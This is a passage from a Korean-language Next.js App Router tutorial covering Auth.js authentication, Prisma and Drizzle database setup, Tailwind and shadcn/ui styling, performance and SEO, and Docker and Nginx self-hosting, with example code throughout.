export default function robots(): MetadataRoute.Robots {
return {
rules: [{ userAgent: "*", allow: "/", disallow: ["/admin", "/api"] }],
sitemap: "https://example.com/sitemap.xml",
};
}
app/sitemap.ts 를 만들면 /sitemap.xml 이 생깁니다.
manifest.ts(PWA) · opengraph-image.tsx(공유 카드) 도 같은 방식이고,
OG 이미지는 f11 에서 다룹니다.
route.ts 는 웹훅 · 외부 API · 파일처럼
화면이 아닌 응답이 필요할 때만 씁니다 — 내 화면에 쓸 데이터는 서버 컴포넌트에서 await,
내 폼의 저장은 Server Action 입니다.
middleware.ts 는 matcher 로 범위를 좁힌 얇은 관문으로만 쓰고,
쿠키 유무 정도만 보고 흘려보내세요. 진짜 권한 검사는 페이지와 액션 안에서 다시 합니다.인증 — Auth.js 로 로그인 붙이기
"로그인만 붙이면 되는데"가 가장 오래 걸립니다. Next 에서는 세션이 미들웨어 · 서버 컴포넌트 · Server Action · 라우트 핸들러 네 군데에서 읽혀야 하고, 각각 읽는 방법이 다르기 때문입니다. 한 번 구조를 잡아 두면 그 뒤로는 손댈 일이 없습니다.
설치와 설정 파일 하나
npm i next-auth@beta · Auth.js v5(NextAuth v5)는 App Router 전용 API 입니다// src/auth.ts ★ 이 파일 하나가 설정의 전부입니다
import NextAuth from "next-auth";
import GitHub from "next-auth/providers/github";
import Credentials from "next-auth/providers/credentials";
import { compare } from "bcryptjs";
import { db } from "@/lib/db";
export const { handlers, auth, signIn, signOut } = NextAuth({
session: { strategy: "jwt", maxAge: 60 * 60 * 24 * 30 }, // 30일
pages: { signIn: "/login", error: "/login" },
providers: [
GitHub, // 환경변수만 있으면 설정 끝
Credentials({
credentials: { email: {}, password: {} },
authorize: async (c) => {
const user = await db.user.findUnique({
where: { email: String(c.email) },
});
if (!user) return null; // ★ null = 로그인 실패
const ok = await compare(String(c.password), user.passwordHash);
return ok ? { id: user.id, email: user.email, role: user.role } : null;
},
}),
],
callbacks: {
// 로그인 직후 한 번 user 가 들어옵니다 — 이때 토큰에 심습니다
async jwt({ token, user }) {
if (user) { token.id = user.id; token.role = (user as any).role; }
return token;
},
// 서버 컴포넌트가 받는 session 객체를 만듭니다
async session({ session, token }) {
session.user.id = token.id as string;
session.user.role = token.role as string;
return session;
},
},
});
// src/app/api/auth/[...nextauth]/route.ts — 두 줄이 끝
import { handlers } from "@/auth";
export const { GET, POST } = handlers;
네 군데에서 세션 읽기
// ① 서버 컴포넌트
import { auth } from "@/auth";
export default async function Page() {
const session = await auth();
if (!session) redirect("/login");
return <p>{session.user.email} 님</p>;
}
// ② Server Action — ★ 반드시 여기서도
"use server";
export async function deletePost(id: number) {
const session = await auth();
if (session?.user.role !== "admin") throw new Error("권한 없음");
// …
}
// ③ 라우트 핸들러
export async function GET() {
const session = await auth();
if (!session) return new Response("Unauthorized", { status: 401 });
// …
}
// ④ 클라이언트 컴포넌트 — 필요할 때만
"use client";
import { useSession } from "next-auth/react"; // SessionProvider 필요
const { data, status } = useSession();
SessionProvider 를 안 써도 되고, 깜빡임(로그인 상태가 늦게 나타나는 현상)도 없습니다.
보호하기 — 미들웨어와 페이지, 두 겹 🟡 중급
미들웨어 — 값싼 1차 관문
// src/middleware.ts
export { auth as middleware } from "@/auth";
export const config = {
matcher: ["/((?!api|_next/static|_next/image|favicon.ico).*)"],
};
// auth.ts 의 callbacks 에 규칙을 적습니다
callbacks: {
authorized({ auth, request }) {
const logged = !!auth?.user;
const { pathname } = request.nextUrl;
if (pathname.startsWith("/admin"))
return auth?.user?.role === "admin"; // false → 로그인 페이지로
if (pathname.startsWith("/dashboard")) return logged;
if (pathname === "/login" && logged)
return Response.redirect(new URL("/dashboard", request.nextUrl));
return true; // 나머지는 공개
},
}
로그인 폼 — Server Action 으로
// app/login/actions.ts
"use server";
import { signIn } from "@/auth";
import { AuthError } from "next-auth";
export async function login(prev: string | undefined, formData: FormData) {
try {
await signIn("credentials", {
email: formData.get("email"),
password: formData.get("password"),
redirectTo: "/dashboard",
});
} catch (e) {
if (e instanceof AuthError)
return e.type === "CredentialsSignin"
? "이메일 또는 비밀번호가 올바르지 않습니다"
: "로그인 중 문제가 발생했습니다";
throw e; // ★ redirect 예외는 반드시 다시 던져야 합니다
}
}
// 소셜 로그인 버튼 — form 하나면 됩니다
import { signIn, signOut } from "@/auth";
<form action={async () => { "use server"; await signIn("github"); }}>
<button>GitHub 로 계속하기</button>
</form>
<form action={async () => { "use server"; await signOut({ redirectTo: "/" }); }}>
<button>로그아웃</button>
</form>
signIn 이 성공하면 리다이렉트 예외를 던집니다.
catch 에서 무조건 문자열을 반환하면 로그인은 됐는데 화면이 안 넘어갑니다.
AuthError 가 아닌 예외는 반드시 다시 던지세요 — f05 와 같은 함정입니다.
실무에선 이렇게 — 세션 전략과 대안 서비스 🔴 실무
jwt 전략 vs database 전략
strategy: "jwt" | "database" | |
|---|---|---|
| 세션 확인 | 쿠키 복호화만 (DB 왕복 0) | 매 요청 DB 조회 |
| 즉시 로그아웃 | 어렵습니다 — 만료까지 유효 | 레코드 삭제로 즉시 |
| 권한 변경 반영 | 다음 갱신 때 | 즉시 |
| 서버리스 궁합 | 좋음 | 커넥션 부담(f09) |
| Credentials 공급자 | 이것만 됩니다 | 지원 안 함 |
| 쿠키 크기 | 정보를 넣을수록 커짐(4KB 한계) | 작음 |
jwt 로 시작하세요 — 빠르고 서버리스에서 문제가 없습니다.
"관리자가 계정을 정지시키면 즉시 튕겨야 한다" 같은 요구가 생기면
그때 토큰에 sessionVersion 을 넣고 민감한 동작에서만
DB 와 대조하는 절충안이 현실적입니다.
Auth.js 말고 다른 선택지
| 선택지 | 장점 | 단점 |
|---|---|---|
| Auth.js (NextAuth v5) | 무료 · 내 DB · 공급자 80종 Next 와 가장 밀착 | v5 가 오래 베타 UI·조직 관리 직접 구현 |
| Clerk | UI 컴포넌트 · 조직 · MFA 10분이면 붙습니다 | 유료 · 사용자 데이터가 외부 사용자 수에 비례한 비용 |
| Supabase Auth | DB 와 세트 · RLS 연동 무료 구간이 넉넉 | Supabase 에 묶임 |
| Better Auth | 타입 안전 · 플러그인 내 DB · 활발한 개발 | 생태계가 아직 작음 |
| 직접 구현 | 완전한 통제 | 권하지 않습니다 — 세션 회전·CSRF· 비번 재설정까지 전부 직접 |
# 환경 변수 (f12 에서 자세히)
AUTH_SECRET=... # openssl rand -base64 32
AUTH_GITHUB_ID=...
AUTH_GITHUB_SECRET=...
AUTH_URL=https://example.com # 프록시 뒤라면 명시
AUTH_SECRET 이 바뀌면 모든 세션이 무효화됩니다.
배포마다 새로 만들면 배포할 때마다 전원 로그아웃됩니다 —
비밀 저장소에 고정해 두세요.
auth.ts 파일 하나에 설정을 모으고
handlers·auth·signIn·signOut 네 개를 내보냅니다.
미들웨어는 값싼 1차 관문, 진짜 검사는 서버 컴포넌트와 Server Action 안에서 await auth().
세션 전략은 jwt 로 시작하고, 로그인 UI·조직 관리까지 사고 싶으면 Clerk,
DB 와 세트로 가고 싶으면 Supabase 를 검토하세요.DB 연동 — Prisma · Drizzle 과 서버리스의 함정
서버 컴포넌트에서 DB 를 직접 부를 수 있다는 게 Next 의 가장 큰 편의입니다. 그런데 배포 환경이 서버리스면 개발할 때 멀쩡하던 코드가 트래픽이 조금만 늘어도 커넥션 부족으로 죽습니다. 이 절은 그 이야기입니다.
Prisma — 스키마 중심
# prisma/schema.prisma
model Post {
id Int @id @default(autoincrement())
slug String @unique
title String
body String
published Boolean @default(false)
authorId String
author User @relation(fields: [authorId], references: [id])
createdAt DateTime @default(now())
@@index([published, createdAt])
}
// lib/db.ts ★ 개발 중 핫리로드로 커넥션이 새는 것을 막는 관용구
import "server-only";
import { PrismaClient } from "@prisma/client";
const g = globalThis as unknown as { prisma?: PrismaClient };
export const db = g.prisma ?? new PrismaClient({ log: ["warn", "error"] });
if (process.env.NODE_ENV !== "production") g.prisma = db;
npx prisma migrate dev --name add_post # 개발: 마이그레이션 생성+적용
npx prisma migrate deploy # 배포: 적용만 (CI/시작 스크립트)
npx prisma studio # 브라우저 DB 뷰어
npx prisma generate # 타입 재생성 (빌드 전 필수)
Drizzle — SQL 에 가까운 쪽
// db/schema.ts
import { pgTable, serial, text, boolean, timestamp, index } from "drizzle-orm/pg-core";
export const posts = pgTable("posts", {
id: serial("id").primaryKey(),
slug: text("slug").notNull().unique(),
title: text("title").notNull(),
body: text("body").notNull(),
published: boolean("published").default(false).notNull(),
createdAt: timestamp("created_at").defaultNow().notNull(),
}, (t) => [index("posts_pub_idx").on(t.published, t.createdAt)]);
export type Post = typeof posts.$inferSelect; // ★ 타입이 스키마에서 나옵니다
// 쿼리 — SQL 을 아는 사람에게 읽히는 모양
import { db } from "@/db";
import { posts } from "@/db/schema";
import { eq, desc, and } from "drizzle-orm";
const rows = await db.select().from(posts)
.where(and(eq(posts.published, true)))
.orderBy(desc(posts.createdAt))
.limit(20);
npx drizzle-kit generate # SQL 마이그레이션 파일 생성
npx drizzle-kit migrate # 적용
npx drizzle-kit studio
둘 중 무엇을 고르나
| Prisma | Drizzle | |
|---|---|---|
| 배우는 비용 | 낮음 — 스키마 파일 하나 | SQL 을 알아야 편합니다 |
| 번들·콜드 스타트 | 쿼리 엔진이 따로 (커짐) | 가볍습니다 — 엣지에서도 동작 |
| 복잡한 쿼리 | 결국 $queryRaw 로 내려감 | SQL 그대로 표현 가능 |
| 마이그레이션 | 성숙하고 안전 | 생성된 SQL 을 직접 확인해야 |
| 관계 로딩 | include 로 편함 | with (relations 정의 필요) |
| 2026년 인상 | 팀·초보에게 여전히 안전한 기본값 | 서버리스·엣지·성능 중시면 이쪽 |
실제 설정 — 세 가지 처방
# ① 풀러 URL 과 직결 URL 을 나눠서 씁니다 (Supabase·Neon 공통 패턴)
DATABASE_URL="postgres://...@pooler.host:6543/db?pgbouncer=true&connection_limit=1"
DIRECT_URL="postgres://...@db.host:5432/db" # 마이그레이션 전용
# prisma/schema.prisma
datasource db {
provider = "postgresql"
url = env("DATABASE_URL") # 앱은 풀러로
directUrl = env("DIRECT_URL") # 마이그레이션은 직결로
}
// ② 서버리스 드라이버 — HTTP 로 쿼리해 커넥션 자체가 없습니다
import { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";
const sql = neon(process.env.DATABASE_URL!);
export const db = drizzle(sql, { schema });
// Prisma 도 어댑터로 같은 일을 합니다
// import { PrismaNeon } from "@prisma/adapter-neon";
// const db = new PrismaClient({ adapter: new PrismaNeon({ connectionString }) });
?pgbouncer=true(Prisma) 나 드라이버 옵션
{ prepare: false }(postgres.js)를 빠뜨리면
배포하자마자 알 수 없는 에러가 쏟아집니다. 아주 흔한 사고입니다.
N+1 — 서버 컴포넌트에서 더 잘 생깁니다
// ❌ 목록 20개 × 작성자 조회 1번 = 쿼리 21번
export default async function Page() {
const posts = await db.post.findMany({ take: 20 });
return posts.map((p) => <Row key={p.id} post={p} />);
}
async function Row({ post }) {
const author = await db.user.findUnique({ where: { id: post.authorId } });
return <li>{post.title} — {author.name}</li>;
}
// ✅ 한 번에 조인해서 가져오기
const posts = await db.post.findMany({
take: 20,
include: { author: { select: { name: true } } },
});
// ✅ 컴포넌트 분리를 유지하고 싶다면 — 한 렌더 안에서 합쳐집니다(f04)
import { cache } from "react";
export const getAuthor = cache((id: string) =>
db.user.findUnique({ where: { id } }));
// 같은 작성자가 여러 번 나와도 쿼리는 사람 수만큼만
cache()·DataLoader 로 합치기입니다.
개발 서버에서 쿼리 로그를 켜 두면 눈으로 바로 보입니다.
Server Action 안에서의 트랜잭션
"use server";
export async function transfer(fromId: string, toId: string, amount: number) {
const session = await auth();
if (!session) throw new Error("로그인이 필요합니다");
await db.$transaction(async (tx) => {
const from = await tx.account.update({
where: { id: fromId },
data: { balance: { decrement: amount } },
});
if (from.balance < 0) throw new Error("잔액 부족"); // ★ 롤백됩니다
await tx.account.update({
where: { id: toId },
data: { balance: { increment: amount } },
});
});
revalidateTag(`account:${fromId}`);
revalidateTag(`account:${toId}`);
}
마이그레이션과 배포 순서
안전한 순서 (무중단 배포 기준)
① 열 추가는 nullable 로 · 기본값과 함께
ALTER TABLE posts ADD COLUMN summary text;
② 새 코드 배포 (새 열을 쓰기 시작, 없어도 동작)
③ 데이터 백필 (배치로 나눠서)
④ NOT NULL 제약 추가
⑤ 옛 열은 '두 번의 배포 뒤'에 삭제
★ 절대 하지 말 것
· 코드 배포와 동시에 열 이름 바꾸기
→ 잠깐이라도 옛 코드와 새 스키마가 만나면 500 폭발
· 큰 테이블에 인덱스를 그냥 추가
→ CREATE INDEX CONCURRENTLY 를 쓰세요
· 빌드 스크립트에서 migrate deploy
→ 여러 인스턴스가 동시에 실행합니다. 배포 파이프라인의
별도 단계 하나에서만 돌리세요
lib/db.ts 에는 server-only 와 전역 재사용 관용구를 넣으세요.
서버리스에 배포한다면 풀러 URL + connection_limit=1 또는
HTTP 드라이버가 사실상 필수이고, 목록 안에서 조회하는 N+1 은
include 나 cache() 로 접으세요.스타일과 UI — Tailwind 4 · shadcn/ui · 폰트와 이미지
2026년 Next 프로젝트의 기본 조합은 Tailwind CSS 4 + shadcn/ui 입니다.
여기에 next/font 와 next/image 를 얹으면
디자인 작업만 했는데 Core Web Vitals 점수가 같이 올라갑니다 — 그 이유를 봅니다.
Tailwind 4 — 설정이 CSS 안으로 들어왔습니다
npm i tailwindcss @tailwindcss/postcss · create-next-app 에서 고르면 자동/* app/globals.css — Tailwind 4 는 설정 파일이 아니라 CSS 로 씁니다 */
@import "tailwindcss";
@theme {
--color-brand-50: oklch(97% 0.02 250);
--color-brand-500: oklch(62% 0.19 250);
--font-sans: var(--font-geist), ui-sans-serif, system-ui;
--radius-card: 12px;
}
/* 다크 모드를 class 로 제어하고 싶을 때 */
@custom-variant dark (&:where(.dark, .dark *));
@layer components {
.card-lite { @apply rounded-(--radius-card) border p-4; } /* v4 의 CSS 변수 문법은 ( ) */
}
| Tailwind 3 | Tailwind 4 |
|---|---|
tailwind.config.js | @theme 블록 (CSS 안) |
content: 경로 지정 | 자동 탐지 |
@tailwind base/components | @import "tailwindcss" 한 줄 |
| hex · rgb 색 | oklch 기본 (더 넓은 색역) |
| PostCSS 플러그인 여럿 | @tailwindcss/postcss 하나 |
shadcn/ui — 라이브러리가 아니라 '복사해 오는 코드'
npx shadcn@latest init # 컴포넌트 경로·색 토큰 설정
npx shadcn@latest add button dialog input table sonner
# 결과: node_modules 가 아니라 내 프로젝트에 파일이 생깁니다
# src/components/ui/button.tsx
# src/components/ui/dialog.tsx
- 내 코드가 되므로 마음대로 고칩니다 — 디자인 시스템이 조금만 달라도 라이브러리를 이겨 내야 했던 문제가 사라집니다
- 바탕은 Radix UI(접근성·키보드 조작이 이미 되어 있음) + Tailwind 클래스입니다
- 업데이트가 자동이 아닙니다 — 고친 파일은 내가 관리합니다. 이게 장점이자 단점입니다
- 대부분
"use client"컴포넌트입니다 — 페이지 전체를 감싸지 말고 필요한 자리에만 쓰세요(f03)
// CSS Modules 도 그대로 됩니다 (Tailwind 를 안 쓸 때)
// app/posts/post.module.css → .title { font-size: 1.4rem }
import s from "./post.module.css";
<h1 className={s.title}>제목</h1>
// 조건부 클래스는 clsx / tailwind-merge 조합이 사실상 표준
import { clsx } from "clsx";
import { twMerge } from "tailwind-merge";
export const cn = (...a: any[]) => twMerge(clsx(a));
next/font — 한 번 설정하면 끝
// app/layout.tsx
import { Geist } from "next/font/google";
import localFont from "next/font/local";
const geist = Geist({
subsets: ["latin"],
display: "swap",
variable: "--font-geist", // CSS 변수로 노출
});
// 한글은 용량이 커서 로컬 파일 + 서브셋이 현실적입니다
const pretendard = localFont({
src: "./fonts/PretendardVariable.woff2",
display: "swap",
variable: "--font-kr",
adjustFontFallback: "Arial", // 대체 폰트 폭 보정 → CLS 감소
});
export default function RootLayout({ children }) {
return (
<html lang="ko" className={`${geist.variable} ${pretendard.variable}`}>
<body className="font-sans">{children}</body>
</html>
);
}
woff2 + 서브셋(자주 쓰는 글자만) 이 필수이고,
display: "swap" 으로 글자가 안 보이는 구간(FOIT)을 없앱니다.
<link> 로 구글 폰트를 부르면 외부 도메인 왕복이 첫 화면에 그대로 더해집니다.
next/image — 세 가지만 지키면 됩니다
import Image from "next/image";
// ① 크기를 아는 이미지 — width/height 필수
<Image src="/hero.jpg" alt="첫 화면" width={1200} height={630} priority />
// priority = 첫 화면에 보이는 큰 이미지에만 (LCP 대상)
// ② 크기를 모르는 이미지 — 부모에 position:relative + fill
<div className="relative aspect-video">
<Image src={url} alt="" fill className="object-cover"
sizes="(max-width: 768px) 100vw, 50vw" />
</div>
// sizes = "이 이미지가 화면에서 차지할 폭" ★ 안 주면 항상 큰 파일
// ③ import 한 이미지는 크기도 흐린 미리보기도 자동
import hero from "./hero.jpg"; // 정적 import 한 로컬 이미지
<Image src={hero} alt="" placeholder="blur" />
// next.config.ts — 외부 이미지는 도메인을 허용해야 합니다
export default {
images: {
remotePatterns: [{ protocol: "https", hostname: "cdn.example.com" }],
formats: ["image/avif", "image/webp"],
},
};
sharp 가 설치되어 있는지 확인하세요(Node 서버에서는 필수).
트래픽이 크면 이미지 변환은 CDN(Cloudflare Images·imgproxy) 에 넘기고
loader 를 지정하는 편이 서버 CPU 를 아낍니다.
다크 모드 — 깜빡임 없이
// app/providers.tsx
"use client";
import { ThemeProvider } from "next-themes";
export function Providers({ children }: { children: React.ReactNode }) {
return (
<ThemeProvider attribute="class" defaultTheme="system" enableSystem>
{children}
</ThemeProvider>
);
}
// app/layout.tsx — suppressHydrationWarning 이 필요한 이유:
// next-themes 가 화면 그리기 전에 <html class="dark"> 를 미리 붙이는데,
// 서버가 만든 HTML 에는 그 class 가 없어서 불일치 경고가 납니다.
<html lang="ko" suppressHydrationWarning>
// 토글 버튼 — 마운트 전에는 렌더하지 않아야 깜빡임이 없습니다
"use client";
const { theme, setTheme } = useTheme();
const [mounted, setMounted] = useState(false);
useEffect(() => setMounted(true), []);
if (!mounted) return <div className="size-9" />; // 자리만 잡기
return <button onClick={() => setTheme(theme === "dark" ? "light" : "dark")}>…</button>;
스타일 선택 정리
| 방식 | App Router 궁합 |
|---|---|
| Tailwind | 가장 좋습니다 — 빌드 때 CSS 가 확정되어 서버 컴포넌트와 무관 |
| CSS Modules | 좋습니다 — 그냥 import 하면 됩니다 |
| 전역 CSS | 가능 — 루트 레이아웃에서 한 번 |
| CSS-in-JS (styled-components 등) | 주의 — 런타임이 필요해 "use client" 가 붙습니다.
새 프로젝트에서는 권하지 않습니다 |
| vanilla-extract Panda CSS | 좋습니다 — 빌드 타임에 CSS 를 만듭니다 |
"use client" 가 트리 위쪽에 붙어 RSC 의 이점이 사라집니다.
빌드 타임에 CSS 가 확정되는 방식을 고르세요.
@theme 로 CSS 안에 들어옴) +
shadcn/ui(라이브러리가 아니라 내 프로젝트에 복사되는 코드)가 2026년 기본 조합입니다.
next/font 로 폰트를 자체 호스팅하면 외부 요청과 글꼴 교체 흔들림이 사라지고,
next/image 에 sizes·priority 만 제대로 주면
용량이 수십 분의 일로 줄어듭니다. CSS-in-JS 는 RSC 와 궁합이 나쁩니다.성능과 SEO — 측정하고 나서 고칩니다
Next 로 옮겼다고 저절로 빨라지지 않습니다. 어느 층에서 응답되는지와 브라우저로 내려가는 JS 가 얼마인지 두 가지가 전부입니다. SEO 도 마찬가지로 메타데이터 · sitemap · OG 이미지 세 가지가 거의 전부입니다.
번들 분석 — 무엇이 클라이언트로 갔나
npm i -D @next/bundle-analyzer// next.config.ts
import withBundleAnalyzer from "@next/bundle-analyzer";
export default withBundleAnalyzer({ enabled: process.env.ANALYZE === "true" })({
// 나머지 설정
});
ANALYZE=true npx next build --webpack # 브라우저에 트리맵이 열립니다
# (이 플러그인은 webpack 전용 — Next 16 의 기본 Turbopack 빌드에서는 동작하지 않습니다)
# 자주 발견되는 범인
# · moment / date-fns 전체 → dayjs 나 Intl.DateTimeFormat 로
# · lodash 통째 import → import get from "lodash/get"
# · 차트·에디터·지도 → dynamic(..., { ssr:false })
# · 아이콘 라이브러리 전체 → 쓰는 것만 개별 import
# · "use client" 가 상위에 → 경계를 아래로 내리기 (f03)
// 무거운 것은 필요할 때만 내려받게
import dynamic from "next/dynamic";
const Editor = dynamic(() => import("@/components/editor"), {
ssr: false,
loading: () => <div className="h-96 animate-pulse rounded bg-neutral-800" />,
});
// 클릭한 뒤에 부르는 방식도 있습니다 (진짜로 쓸 때만)
const onExport = async () => {
const { utils, writeFile } = await import("xlsx"); // 300KB
// …
};
메타데이터 — 정적과 동적
// 정적 — 값이 고정된 페이지
export const metadata: Metadata = {
title: "요금제",
description: "간단한 요금제 안내",
alternates: { canonical: "https://example.com/pricing" },
};
// 동적 — 데이터에서 만들어야 하는 페이지
export async function generateMetadata(
{ params }: { params: Promise<{ slug: string }> },
): Promise<Metadata> {
const { slug } = await params;
const post = await getPost(slug); // ★ page 와 중복 호출 걱정 없음
if (!post) return { title: "찾을 수 없는 글" }; // (요청 메모이제이션, f04)
return {
title: post.title,
description: post.summary,
openGraph: {
title: post.title,
description: post.summary,
type: "article",
publishedTime: post.createdAt.toISOString(),
images: [{ url: `/posts/${slug}/opengraph-image` }],
},
twitter: { card: "summary_large_image" },
};
}
title.template 을 정해 두면
하위 페이지는 title: "요금제" 만 적어도
"요금제 · 내 서비스" 가 됩니다.
metadataBase 를 설정하면 상대 경로 이미지 URL도 절대 경로로 바뀝니다.
공유 카드 — OG 이미지를 코드로 만들기 🟡 중급
ImageResponse
// app/posts/[slug]/opengraph-image.tsx
import { ImageResponse } from "next/og";
export const size = { width: 1200, height: 630 };
export const contentType = "image/png";
export const alt = "글 공유 이미지";
export default async function OG({ params }: { params: Promise<{ slug: string }> }) {
const { slug } = await params; // Next 16 — 여기 params 도 Promise
const post = await getPost(slug);
return new ImageResponse(
(
<div style={{
display: "flex", flexDirection: "column", justifyContent: "center",
width: "100%", height: "100%", padding: 72,
background: "linear-gradient(135deg,#0f172a,#334155)", color: "white",
}}>
<div style={{ fontSize: 30, opacity: 0.7 }}>내 블로그</div>
<div style={{ fontSize: 64, fontWeight: 700, marginTop: 16 }}>
{post.title}
</div>
</div>
),
{ ...size },
);
}
display: flex 와 절대 위치 정도이고,
자식이 둘 이상이면 display 를 명시해야 합니다.
한글이 네모로 나오면 폰트를 직접 넣어야 합니다 —
fonts: [{ name, data, weight }] 옵션에 woff 버퍼를 넘기세요.
SEO 체크리스트
| 항목 | 확인 |
|---|---|
<html lang="ko"> | 루트 레이아웃에 있는지 |
| 제목·설명 | 페이지마다 다른 값인지 |
canonical | 같은 내용의 주소가 여러 개면 필수 |
sitemap.ts·robots.ts | f07 참고 — 파일 하나면 끝 |
| 구조화 데이터 | JSON-LD 를 <script type="application/ld+json"> 로 |
| 404·리다이렉트 | 사라진 주소는 301 로 새 주소에 |
이미지 alt | 비어 있으면 검색·접근성 모두 손해 |
// 구조화 데이터 — 검색 결과에 별점·작성자가 붙는 근거
export default async function Post({ params }) {
const post = await getPost((await params).slug);
const ld = {
"@context": "https://schema.org",
"@type": "BlogPosting",
headline: post.title,
datePublished: post.createdAt.toISOString(),
author: { "@type": "Person", name: post.author.name },
};
return (
<>
<script type="application/ld+json"
dangerouslySetInnerHTML={{ __html: JSON.stringify(ld).replace(/</g, "\\u003c") }} />
{/* ↑ 제목에 </script> 가 들어 있어도 태그가 닫히지 않게 */}
<article>…</article>
</>
);
}
curl -s https://example.com/posts/x | head -50 로 받아
제목과 본문이 HTML 안에 실제로 들어 있는지 눈으로 확인하세요.
이게 안 보이면 SEO 작업 전부가 무의미합니다.
실무에선 이렇게 — 측정 도구와 처방 순서 🔴 실무
| 증상 | 어디서 확인 | 처방 (순서대로) |
|---|---|---|
| 첫 화면이 늦다 (LCP) | Lighthouse · next build 표 |
① 그 페이지가 ƒ(동적)인지 확인 → 정적/ISR 로② 첫 화면 이미지에 priority③ 느린 데이터를 Suspense 로 분리(f06) |
| 눌러도 반응이 없다 (INP) | DevTools Performance | ① 번들 분석으로 큰 덩어리 찾기 ② "use client" 경계를 아래로(f03)③ 무거운 컴포넌트를 dynamic 으로 |
| 화면이 덜컹인다 (CLS) | Lighthouse | ① 이미지에 width/height 또는 fill② 스켈레톤을 실제 크기로 ③ 폰트에 adjustFontFallback(f10) |
| 서버가 바쁘다 | 배포 플랫폼 지표 · 로그 | ① 캐시 적중률 확인(f04) ② 미들웨어 matcher 점검(f07) ③ N+1 쿼리 확인(f09) |
| 빌드가 오래 걸린다 | 빌드 로그 | ① generateStaticParams 목록 줄이기② Turbopack 빌드 사용 ③ CI 에 .next/cache 캐싱(f12) |
// 실제 사용자 지표를 수집하기 — 실험실 점수보다 이쪽이 진실입니다
"use client";
import { useReportWebVitals } from "next/web-vitals";
export function Vitals() {
useReportWebVitals((m) => {
navigator.sendBeacon("/api/vitals", JSON.stringify({
name: m.name, value: m.value, id: m.id, path: location.pathname,
}));
});
return null;
}
npm run build && npm run start 로 잰 값과
실사용자 지표(RUM)를 함께 보세요.
ANALYZE=true npm run build 로 번들을 보고, 무거운 것은 dynamic 으로 미루고,
"use client" 경계를 아래로 내리세요.
SEO 는 generateMetadata · sitemap.ts · OG 이미지 세 가지가 거의 전부이고,
확인은 배포된 HTML 을 curl 로 받아 눈으로 하는 것이 가장 확실합니다.배포 — Vercel 과 자체 호스팅, 양쪽 다
Next 는 Vercel 이 만들었지만 어디에나 배포할 수 있습니다.
output: "standalone" 한 줄이면 Docker 이미지 하나로 끝납니다.
다만 Vercel 이 공짜로 해 주던 일들을 직접 챙겨야 하는데, 그게 무엇인지가 이 절의 핵심입니다.
환경 변수 — NEXT_PUBLIC_ 규칙
# .env.local (git 에 올리지 않습니다)
DATABASE_URL=postgres://... # 서버에서만 보입니다
AUTH_SECRET=... # 서버에서만
NEXT_PUBLIC_SITE_URL=https://example.com # ★ 브라우저 번들에 '박힙니다'
# 읽히는 순서 (뒤가 이깁니다)
# .env → .env.production → .env.local → 실제 환경 변수
| 규칙 | 결과 |
|---|---|
NEXT_PUBLIC_ 없음 | 서버 코드에서만 값이 있고, 클라이언트에서는 undefined |
NEXT_PUBLIC_ 있음 | 빌드 시점에 문자열로 치환되어 번들에 박힙니다 |
| 런타임에 바꾸고 싶다 | 안 됩니다 — 다시 빌드해야 합니다 |
// 환경 변수를 스키마로 검증 — 배포 후에 발견하지 말 것
// lib/env.ts
import { z } from "zod";
export const env = z.object({
DATABASE_URL: z.string().url(),
AUTH_SECRET: z.string().min(32),
NEXT_PUBLIC_SITE_URL: z.string().url(),
}).parse(process.env);
// 빠뜨린 채 빌드하면 '빌드가 실패'합니다 ★ 이게 목적입니다
NEXT_PUBLIC_* 는 빌드 때 박히므로
docker run -e 로 넘겨도 바뀌지 않습니다.
--build-arg 로 빌드 단계에 넣거나,
런타임에 바뀌어야 하는 값은 서버에서 읽어 props 로 내려보내세요.
Dockerfile — 그대로 복사해 쓰세요
// next.config.ts
export default { output: "standalone" };
# syntax=docker/dockerfile:1
FROM node:24-alpine AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci
FROM node:24-alpine AS builder
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY . .
# ★ 빌드 때 필요한 공개 변수 (Dockerfile 은 줄 끝 주석을 지원하지 않습니다)
ARG NEXT_PUBLIC_SITE_URL
ENV NEXT_TELEMETRY_DISABLED=1
RUN npm run build
FROM node:24-alpine AS runner
WORKDIR /app
ENV NODE_ENV=production PORT=3000 HOSTNAME=0.0.0.0
RUN addgroup -g 1001 nodejs && adduser -u 1001 -G nodejs -S nextjs
COPY --from=builder /app/public ./public
COPY --from=builder --chown=nextjs:nodejs /app/.next/standalone ./
COPY --from=builder --chown=nextjs:nodejs /app/.next/static ./.next/static
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
.dockerignore 를 꼭 만드세요 —
node_modules·.next·.git·.env* 를 제외하지 않으면
빌드 컨텍스트가 수백 MB 로 불고 비밀 파일이 이미지에 들어갑니다.
자체 호스팅에서 직접 챙겨야 하는 것들 🔴 실무
Nginx 리버스 프록시
upstream nextapp { server 127.0.0.1:3000; keepalive 32; }
server {
listen 443 ssl http2;
server_name example.com;
# 정적 자산은 Nginx 가 직접 — 해시가 붙어 있어 영구 캐시 가능
location /_next/static/ {
alias /srv/app/.next/static/;
expires 1y;
add_header Cache-Control "public, immutable";
}
location / {
proxy_pass http://nextapp;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme; # ★ 없으면 https 인식 실패
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_buffering off; # ★ 스트리밍이 끊기지 않게
}
}
proxy_buffering off 를 빠뜨리면
f06 의 스트리밍이 전부 모였다가 한 번에 나갑니다 —
Suspense 를 열심히 붙여 놓고 효과가 0 이 되는 흔한 사고입니다.
X-Forwarded-Proto 가 없으면 쿠키의 Secure 판단이 어긋나
로그인이 안 됩니다.
ISR 공유 캐시 · 빌드 캐시 · 관측
// 인스턴스가 여러 개면 ISR 결과를 공유해야 합니다
// next.config.ts
export default {
output: "standalone",
cacheHandler: require.resolve("./cache-handler.mjs"), // Redis 등
cacheMaxMemorySize: 0, // 메모리 캐시 끄기
};
// 안 하면: 인스턴스 A 는 새 글, B 는 옛 글 — 새로고침마다 화면이 바뀝니다
# GitHub Actions — .next/cache 를 캐싱하면 빌드가 크게 빨라집니다
- uses: actions/cache@v4
with:
path: |
~/.npm
${{ github.workspace }}/.next/cache
key: next-${{ hashFiles('**/package-lock.json') }}-${{ hashFiles('**/*.ts','**/*.tsx') }}
